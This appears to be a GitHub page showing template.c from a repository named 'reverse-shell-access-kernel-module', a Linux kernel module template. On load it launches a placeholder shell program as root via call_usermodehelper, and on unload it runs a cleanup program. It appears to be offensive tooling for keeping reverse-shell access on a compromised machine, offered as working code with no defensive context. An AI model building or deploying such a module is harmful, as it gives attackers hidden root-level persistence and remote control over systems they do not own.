forked from maK-/reverse-shell-access-kernel-module
-
Notifications
You must be signed in to change notification settings - Fork 3
/
template.c
43 lines (36 loc) · 924 Bytes
/
template.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/*
* This is the template file used to build a system
* specific kernel module.
*/
#include<linux/init.h>
#include<linux/module.h>
#include<linux/kmod.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Ciaran McNally - maK");
#define SHELL "SHELL_TEMPLATE"
#define CLEANUP "CLEAN_TEMPLATE"
static int start_listener(void){
char *argv[] = { SHELL, NULL, NULL };
static char *env[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };
return call_usermodehelper(argv[0], argv, env, UMH_WAIT_PROC);
}
static int kill_listener(void){
char *argv[] = { CLEANUP, NULL, NULL };
static char *env[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };
return call_usermodehelper(argv[0], argv, env, UMH_WAIT_PROC);
}
static int init_mod(void){
return start_listener();
}
static void exit_mod(void){
kill_listener();
return;
}
module_init(init_mod);
module_exit(exit_mod);